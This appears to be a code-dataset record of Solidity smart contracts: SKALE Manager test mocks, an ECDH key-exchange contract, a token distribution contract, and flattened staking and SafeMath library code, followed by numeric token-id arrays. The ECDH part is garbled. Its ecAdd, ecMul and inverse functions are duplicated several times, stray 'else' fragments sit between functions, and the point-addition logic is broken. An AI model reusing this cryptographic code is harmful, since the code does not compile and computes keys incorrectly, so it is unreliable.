"No changes to node supply"); totalNodes = numberOfActiveNodes; } function _getTotalLoad() private view returns (uint) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); uint load = 0; uint numberOfSchains = schainsInternal.numberOfSchains(); for (uint i = 0; i < numberOfSchains; i++) { bytes32 schain = schainsInternal.schainsAtSystem(i); uint numberOfNodesInSchain = schainsInternal.getNumberOfNodesInGroup(schain); uint part = schainsInternal.getSchainsPartOfNode(schain); load = load.add( numberOfNodesInSchain.mul(part) ); } return load; } function _getTotalCapacity() private view returns (uint) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); return nodes.getNumberOnlineNodes().mul(constantsHolder.TOTAL_SPACE_ON_NODE()); } } // SPDX-License-Identifier: AGPL-3.0-only /* SchainsInternalMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SchainsInternal.sol"; contract SchainsInternalMock is SchainsInternal { function removePlaceOfSchainOnNode(bytes32 schainHash, uint nodeIndex) external { delete placeOfSchainOnNode[schainHash][nodeIndex]; } function removeNodeToLocked(uint nodeIndex) external { mapping(uint => bytes32[]) storage nodeToLocked = _getNodeToLockedSchains(); delete nodeToLocked[nodeIndex]; } function removeSchainToExceptionNode(bytes32 schainHash) external { mapping(bytes32 => uint[]) storage schainToException = _getSchainToExceptionNodes(); delete schainToException[schainHash]; } } // SPDX-License-Identifier: AGPL-3.0-only /* LockerMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../interfaces/delegation/ILocker.sol"; contract LockerMock is ILocker { function getAndUpdateLockedAmount(address) external override returns (uint) { return 13; } function getAndUpdateForbiddenForDelegationAmount(address) external override returns (uint) { return 13; } } // SPDX-License-Identifier: AGPL-3.0-only /* MathUtilsTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../utils/MathUtils.sol"; contract MathUtilsTester { using MathUtils for uint; function boundedSub(uint256 a, uint256 b) external returns (uint256) { return a.boundedSub(b); } function boundedSubWithoutEvent(uint256 a, uint256 b) external pure returns (uint256) { return a.boundedSubWithoutEvent(b); } function muchGreater(uint256 a, uint256 b) external pure returns (bool) { return a.muchGreater(b); } function approximatelyEqual(uint256 a, uint256 b) external pure returns (bool) { return a.approximatelyEqual(b); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTreeTester.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../utils/SegmentTree.sol"; contract SegmentTreeTester { using SegmentTree for SegmentTree.Tree; SegmentTree.Tree private _tree; uint[129] private _places; function initTree() external { _tree.create(128); for (uint8 i = 1; i <= 128; i++) { if (_places[i] > 0) _tree.addToPlace(i, _places[i]); } } function addElemInPlaces(uint place, uint elem) external { _places[place] = elem; } function addToLast(uint elem) external { _tree.addToPlace(_tree.getSize(), elem); } function addToPlace(uint place, uint elem) external { _tree.addToPlace(place, elem); } function removeFromPlace(uint place, uint elem) external { _tree.removeFromPlace(place, elem); } function moveFromPlaceToPlace(uint fromPlace, uint toPlace, uint elem) external { _tree.moveFromPlaceToPlace(fromPlace, toPlace, elem); } function sumFromPlaceToLast(uint place) external view returns (uint) { return _tree.sumFromPlaceToLast(place); } function getRandomElem(uint place) external view returns (uint) { Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number - 1)), place) ); return _tree.getRandomNonZeroElementFromPlaceToLast(place, randomGenerator); } function getElem(uint index) external view returns (uint) { require(index < _tree.tree.length, "Incorrect index"); return _tree.tree[index]; } function getSize() external view returns (uint) { return _tree.getSize(); } }
* @title ECDH @dev This contract performs Elliptic-curve Diffie-Hellman key exchange to support the DKG process./
contract ECDH { using SafeMath for uint256; uint256 constant private _GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798; uint256 constant private _GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8; uint256 constant private _N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F; uint256 constant private _A = 0; } Modifications Copyright (C) 2018 SKALE Labs function publicKey(uint256 privKey) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, _GX, _GY, 1 ); z = inverse(z); qx = mulmod(x, z, _N); qy = mulmod(y, z, _N); } function deriveKey( uint256 privKey, uint256 pubX, uint256 pubY ) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, pubX, pubY, 1 ); z = inverse(z); qx = mulmod(x, z, _N); qy = mulmod(y, z, _N); } function jAdd( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(x2, z1, _N), _N), mulmod(z1, z2, _N)); } function jSub( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(_N.sub(x2), z1, _N), _N), mulmod(z1, z2, _N)); } function jMul( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, x2, _N), mulmod(z1, z2, _N)); } function jDiv( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, z2, _N), mulmod(z1, x2, _N)); } function inverse(uint256 a) public pure returns (uint256 invA) { require(a > 0 && a < _N, "Input is incorrect"); uint256 t = 0; uint256 newT = 1; uint256 r = _N; uint256 newR = a; uint256 q; while (newR != 0) { q = r.div(newR); (t, newT) = (newT, addmod(t, (_N.sub(mulmod(q, newT, _N))), _N)); (r, newR) = (newR, r % newR); } return t; } function inverse(uint256 a) public pure returns (uint256 invA) { require(a > 0 && a < _N, "Input is incorrect"); uint256 t = 0; uint256 newT = 1; uint256 r = _N; uint256 newR = a; uint256 q; while (newR != 0) { q = r.div(newR); (t, newT) = (newT, addmod(t, (_N.sub(mulmod(q, newT, _N))), _N)); (r, newR) = (newR, r % newR); } return t; } function ecAdd( uint256 x1, uint256 y1, uint256 z1, uint256 x2, uint256 y2, uint256 z2 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 ln; uint256 lz; uint256 da; uint256 db; if ((x1 == 0) && (y1 == 0)) { return (x2, y2, z2); } if ((x2 == 0) && (y2 == 0)) { return (x1, y1, z1); } if ((x1 == x2) && (y1 == y2)) { (ln, lz) = jMul(x1, z1, x1, z1); (ln, lz) = jMul(ln,lz,3,1); (ln, lz) = jAdd(ln,lz,_A,1); (da, db) = jMul(y1,z1,2,1); (ln, lz) = jSub(y2,z2,y1,z1); (da, db) = jSub(x2,z2,x1,z1); } (ln, lz) = jDiv(ln,lz,da,db); (x3, da) = jMul(ln,lz,ln,lz); (x3, da) = jSub(x3,da,x1,z1); (x3, da) = jSub(x3,da,x2,z2); (y3, db) = jSub(x1,z1,x3,da); (y3, db) = jMul(y3,db,ln,lz); (y3, db) = jSub(y3,db,y1,z1); if (da != db) { x3 = mulmod(x3, db, _N); y3 = mulmod(y3, da, _N); z3 = mulmod(da, db, _N); z3 = da; } } function ecAdd( uint256 x1, uint256 y1, uint256 z1, uint256 x2, uint256 y2, uint256 z2 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 ln; uint256 lz; uint256 da; uint256 db; if ((x1 == 0) && (y1 == 0)) { return (x2, y2, z2); } if ((x2 == 0) && (y2 == 0)) { return (x1, y1, z1); } if ((x1 == x2) && (y1 == y2)) { (ln, lz) = jMul(x1, z1, x1, z1); (ln, lz) = jMul(ln,lz,3,1); (ln, lz) = jAdd(ln,lz,_A,1); (da, db) = jMul(y1,z1,2,1); (ln, lz) = jSub(y2,z2,y1,z1); (da, db) = jSub(x2,z2,x1,z1); } (ln, lz) = jDiv(ln,lz,da,db); (x3, da) = jMul(ln,lz,ln,lz); (x3, da) = jSub(x3,da,x1,z1); (x3, da) = jSub(x3,da,x2,z2); (y3, db) = jSub(x1,z1,x3,da); (y3, db) = jMul(y3,db,ln,lz); (y3, db) = jSub(y3,db,y1,z1); if (da != db) { x3 = mulmod(x3, db, _N); y3 = mulmod(y3, da, _N); z3 = mulmod(da, db, _N); z3 = da; } } function ecAdd( uint256 x1, uint256 y1, uint256 z1, uint256 x2, uint256 y2, uint256 z2 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 ln; uint256 lz; uint256 da; uint256 db; if ((x1 == 0) && (y1 == 0)) { return (x2, y2, z2); } if ((x2 == 0) && (y2 == 0)) { return (x1, y1, z1); } if ((x1 == x2) && (y1 == y2)) { (ln, lz) = jMul(x1, z1, x1, z1); (ln, lz) = jMul(ln,lz,3,1); (ln, lz) = jAdd(ln,lz,_A,1); (da, db) = jMul(y1,z1,2,1); (ln, lz) = jSub(y2,z2,y1,z1); (da, db) = jSub(x2,z2,x1,z1); } (ln, lz) = jDiv(ln,lz,da,db); (x3, da) = jMul(ln,lz,ln,lz); (x3, da) = jSub(x3,da,x1,z1); (x3, da) = jSub(x3,da,x2,z2); (y3, db) = jSub(x1,z1,x3,da); (y3, db) = jMul(y3,db,ln,lz); (y3, db) = jSub(y3,db,y1,z1); if (da != db) { x3 = mulmod(x3, db, _N); y3 = mulmod(y3, da, _N); z3 = mulmod(da, db, _N); z3 = da; } } function ecAdd( uint256 x1, uint256 y1, uint256 z1, uint256 x2, uint256 y2, uint256 z2 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 ln; uint256 lz; uint256 da; uint256 db; if ((x1 == 0) && (y1 == 0)) { return (x2, y2, z2); } if ((x2 == 0) && (y2 == 0)) { return (x1, y1, z1); } if ((x1 == x2) && (y1 == y2)) { (ln, lz) = jMul(x1, z1, x1, z1); (ln, lz) = jMul(ln,lz,3,1); (ln, lz) = jAdd(ln,lz,_A,1); (da, db) = jMul(y1,z1,2,1); (ln, lz) = jSub(y2,z2,y1,z1); (da, db) = jSub(x2,z2,x1,z1); } (ln, lz) = jDiv(ln,lz,da,db); (x3, da) = jMul(ln,lz,ln,lz); (x3, da) = jSub(x3,da,x1,z1); (x3, da) = jSub(x3,da,x2,z2); (y3, db) = jSub(x1,z1,x3,da); (y3, db) = jMul(y3,db,ln,lz); (y3, db) = jSub(y3,db,y1,z1); if (da != db) { x3 = mulmod(x3, db, _N); y3 = mulmod(y3, da, _N); z3 = mulmod(da, db, _N); z3 = da; } } } else { function ecAdd( uint256 x1, uint256 y1, uint256 z1, uint256 x2, uint256 y2, uint256 z2 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 ln; uint256 lz; uint256 da; uint256 db; if ((x1 == 0) && (y1 == 0)) { return (x2, y2, z2); } if ((x2 == 0) && (y2 == 0)) { return (x1, y1, z1); } if ((x1 == x2) && (y1 == y2)) { (ln, lz) = jMul(x1, z1, x1, z1); (ln, lz) = jMul(ln,lz,3,1); (ln, lz) = jAdd(ln,lz,_A,1); (da, db) = jMul(y1,z1,2,1); (ln, lz) = jSub(y2,z2,y1,z1); (da, db) = jSub(x2,z2,x1,z1); } (ln, lz) = jDiv(ln,lz,da,db); (x3, da) = jMul(ln,lz,ln,lz); (x3, da) = jSub(x3,da,x1,z1); (x3, da) = jSub(x3,da,x2,z2); (y3, db) = jSub(x1,z1,x3,da); (y3, db) = jMul(y3,db,ln,lz); (y3, db) = jSub(y3,db,y1,z1); if (da != db) { x3 = mulmod(x3, db, _N); y3 = mulmod(y3, da, _N); z3 = mulmod(da, db, _N); z3 = da; } } } else { function ecDouble( uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { (x3, y3, z3) = ecAdd( x1, y1, z1, x1, y1, z1 ); } function ecMul( uint256 d, uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 remaining = d; uint256 px = x1; uint256 py = y1; uint256 pz = z1; uint256 acx = 0; uint256 acy = 0; uint256 acz = 1; if (d == 0) { return (0, 0, 1); } while (remaining != 0) { if ((remaining & 1) != 0) { (acx, acy, acz) = ecAdd( acx, acy, acz, px, py, pz ); } remaining = remaining.div(2); (px, py, pz) = ecDouble(px, py, pz); } (x3, y3, z3) = (acx, acy, acz); } function ecMul( uint256 d, uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 remaining = d; uint256 px = x1; uint256 py = y1; uint256 pz = z1; uint256 acx = 0; uint256 acy = 0; uint256 acz = 1; if (d == 0) { return (0, 0, 1); } while (remaining != 0) { if ((remaining & 1) != 0) { (acx, acy, acz) = ecAdd( acx, acy, acz, px, py, pz ); } remaining = remaining.div(2); (px, py, pz) = ecDouble(px, py, pz); } (x3, y3, z3) = (acx, acy, acz); } function ecMul( uint256 d, uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 remaining = d; uint256 px = x1; uint256 py = y1; uint256 pz = z1; uint256 acx = 0; uint256 acy = 0; uint256 acz = 1; if (d == 0) { return (0, 0, 1); } while (remaining != 0) { if ((remaining & 1) != 0) { (acx, acy, acz) = ecAdd( acx, acy, acz, px, py, pz ); } remaining = remaining.div(2); (px, py, pz) = ecDouble(px, py, pz); } (x3, y3, z3) = (acx, acy, acz); } function ecMul( uint256 d, uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 remaining = d; uint256 px = x1; uint256 py = y1; uint256 pz = z1; uint256 acx = 0; uint256 acy = 0; uint256 acz = 1; if (d == 0) { return (0, 0, 1); } while (remaining != 0) { if ((remaining & 1) != 0) { (acx, acy, acz) = ecAdd( acx, acy, acz, px, py, pz ); } remaining = remaining.div(2); (px, py, pz) = ecDouble(px, py, pz); } (x3, y3, z3) = (acx, acy, acz); } }
9,880,364
[ 1, 7228, 16501, 225, 1220, 6835, 11199, 10426, 549, 21507, 17, 16683, 13008, 1385, 17, 44, 1165, 4728, 498, 7829, 358, 2865, 326, 31176, 43, 1207, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 7773, 16501, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 2254, 5034, 5381, 3238, 389, 43, 60, 273, 374, 92, 7235, 5948, 6028, 27, 26897, 29, 5528, 9676, 2226, 2539, 37, 7677, 29286, 1441, 28, 7301, 38, 8642, 3103, 29, 38, 4488, 2290, 22, 40, 1441, 6030, 40, 29, 6162, 42, 6030, 3600, 38, 2313, 42, 28, 4033, 10689, 31, 203, 565, 2254, 5034, 5381, 3238, 389, 20564, 273, 374, 92, 8875, 23, 1880, 37, 4700, 5558, 37, 23, 39, 8749, 2539, 9793, 24, 22201, 4488, 20, 41, 17506, 28, 37, 28, 16894, 4033, 38, 6334, 28, 37, 9470, 2539, 9803, 2733, 39, 9462, 40, 6840, 2246, 38, 2163, 40, 24, 38, 28, 31, 203, 565, 2254, 5034, 5381, 3238, 389, 50, 225, 273, 374, 6356, 8998, 8998, 8998, 8998, 8998, 8998, 8998, 8998, 8998, 8998, 8998, 8998, 8998, 8090, 8998, 4488, 22, 42, 31, 203, 565, 2254, 5034, 5381, 3238, 389, 37, 225, 273, 374, 31, 203, 203, 97, 203, 203, 565, 3431, 6640, 25417, 261, 39, 13, 14863, 12038, 37, 900, 511, 5113, 203, 203, 565, 445, 12085, 12, 11890, 5034, 22849, 13, 3903, 16618, 1135, 261, 11890, 5034, 1043, 92, 16, 2254, 5034, 1043, 93, 13, 288, 203, 3639, 2254, 5034, 619, 31, 203, 3639, 2254, 5034, 677, 31, 203, 3639, 2254, 5034, 998, 31, 203, 3639, 261, 92, 16, 677, 16, 998, 13, 273, 6557, 27860, 12, 203, 5411, 22849, 16, 203, 5411, 389, 43, 60, 16, 203, 5411, 389, 20564, 16, 203, 5411, 2 ]
./partial_match/1/0xf65B60d127671ACec535c359640ad390C2411577/sources/DistributionSPrincipal.sol
Existing on-chain contracts
contract DistributionBase { using SafeERC20 for IERC20; using SafeMath for uint256; bool public redeem_allowed; bool public deposit_done; address public governance; address public fund_rescue; IERC20 public underlying_token; IERC20 public lp_token; uint public total_distribution_amount; constructor(address _underlying_token, address _lp_token, uint _total_distribution_amount) { require(_total_distribution_amount > 0); require(_underlying_token != address(0x0)); require(_lp_token != address(0x0)); underlying_token = IERC20( _underlying_token ); lp_token = IERC20( _lp_token); total_distribution_amount = _total_distribution_amount; governance = msg.sender; redeem_allowed = false; deposit_done = false; } modifier onlyGovernance() { require(msg.sender == governance, "only governance is allowed"); _; } event Redeem(address sender, uint balance, address token, uint share); function redeem() public { require(redeem_allowed, "redeem not allowed yet"); uint user_balance = lp_token.balanceOf(msg.sender); uint user_share = user_balance.mul(total_distribution_amount).div(lp_token.totalSupply()); emit Redeem(msg.sender, user_balance, address(lp_token), user_share); lp_token.safeTransferFrom(msg.sender, 0x000000000000000000000000000000000000dEaD, user_balance); underlying_token.safeTransfer(msg.sender, user_share); } function allowRedeem() public onlyGovernance { require(deposit_done, "fund should be deposited first"); redeem_allowed = true; } function disallowRedeem() public onlyGovernance { redeem_allowed = false; } modifier onlyFundRescue() { require(msg.sender == fund_rescue, "only fund rescue"); _; } function setFundRescue(address _fund_rescue) public onlyGovernance { require(_fund_rescue != address(0x0)); fund_rescue = _fund_rescue; } function depositFund() public onlyFundRescue { underlying_token.safeTransferFrom(fund_rescue, address(this), total_distribution_amount); deposit_done = true; } function erc_sweep(address _token, address _to) public onlyGovernance { IERC20 tkn = IERC20(_token); uint tBal = tkn.balanceOf(address(this)); tkn.safeTransfer(_to, tBal); } }
2,632,746
[ 1, 9895, 603, 17, 5639, 20092, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 17547, 2171, 288, 203, 203, 225, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 225, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 225, 1426, 1071, 283, 24903, 67, 8151, 31, 203, 225, 1426, 1071, 443, 1724, 67, 8734, 31, 203, 203, 225, 1758, 1071, 314, 1643, 82, 1359, 31, 203, 225, 1758, 1071, 284, 1074, 67, 455, 8007, 31, 203, 203, 225, 467, 654, 39, 3462, 1071, 6808, 67, 2316, 31, 203, 225, 467, 654, 39, 3462, 1071, 12423, 67, 2316, 31, 203, 203, 225, 2254, 1071, 2078, 67, 16279, 67, 8949, 31, 203, 203, 203, 225, 3885, 12, 2867, 389, 9341, 6291, 67, 2316, 16, 1758, 389, 9953, 67, 2316, 16, 2254, 389, 4963, 67, 16279, 67, 8949, 13, 288, 203, 565, 2583, 24899, 4963, 67, 16279, 67, 8949, 405, 374, 1769, 203, 565, 2583, 24899, 9341, 6291, 67, 2316, 480, 1758, 12, 20, 92, 20, 10019, 203, 565, 2583, 24899, 9953, 67, 2316, 480, 1758, 12, 20, 92, 20, 10019, 203, 203, 565, 6808, 67, 2316, 273, 467, 654, 39, 3462, 12, 389, 9341, 6291, 67, 2316, 11272, 203, 565, 12423, 67, 2316, 273, 467, 654, 39, 3462, 12, 389, 9953, 67, 2316, 1769, 203, 565, 2078, 67, 16279, 67, 8949, 273, 389, 4963, 67, 16279, 67, 8949, 31, 203, 377, 203, 565, 314, 1643, 82, 1359, 273, 1234, 18, 15330, 31, 203, 565, 283, 24903, 67, 8151, 273, 629, 31, 203, 565, 443, 1724, 67, 8734, 273, 629, 31, 203, 225, 289, 203, 203, 2 ]
// Sources flattened with buidler v1.4.3 https://buidler.dev // File contracts/stakingv2/OwnedV2.sol pragma solidity ^0.5.16; // https://docs.synthetix.io/contracts/source/contracts/owned contract OwnedV2 { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // File contracts/stakingv2/PausableV2.sol pragma solidity ^0.5.16; // Inheritance // https://docs.synthetix.io/contracts/source/contracts/pausable contract PausableV2 is OwnedV2 { uint public lastPauseTime; bool public paused; constructor() internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); // Paused will be false, and lastPauseTime will be 0 upon initialisation } /** * @notice Change the paused state of the contract * @dev Only the contract owner may call this. */ function setPaused(bool _paused) external onlyOwner { // Ensure we're actually changing the state before we do anything if (_paused == paused) { return; } // Set our paused state. paused = _paused; // If applicable, set the last pause time. if (paused) { lastPauseTime = now; } // Let everyone know that our pause state has changed. emit PauseChanged(paused); } event PauseChanged(bool isPaused); modifier notPaused { require(!paused, "This action cannot be performed while the contract is paused"); _; } } // File openzeppelin-solidity-2.3.0/contracts/math/[email protected] pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File openzeppelin-solidity-2.3.0/contracts/math/[email protected] pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // File openzeppelin-solidity-2.3.0/contracts/token/ERC20/[email protected] pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see 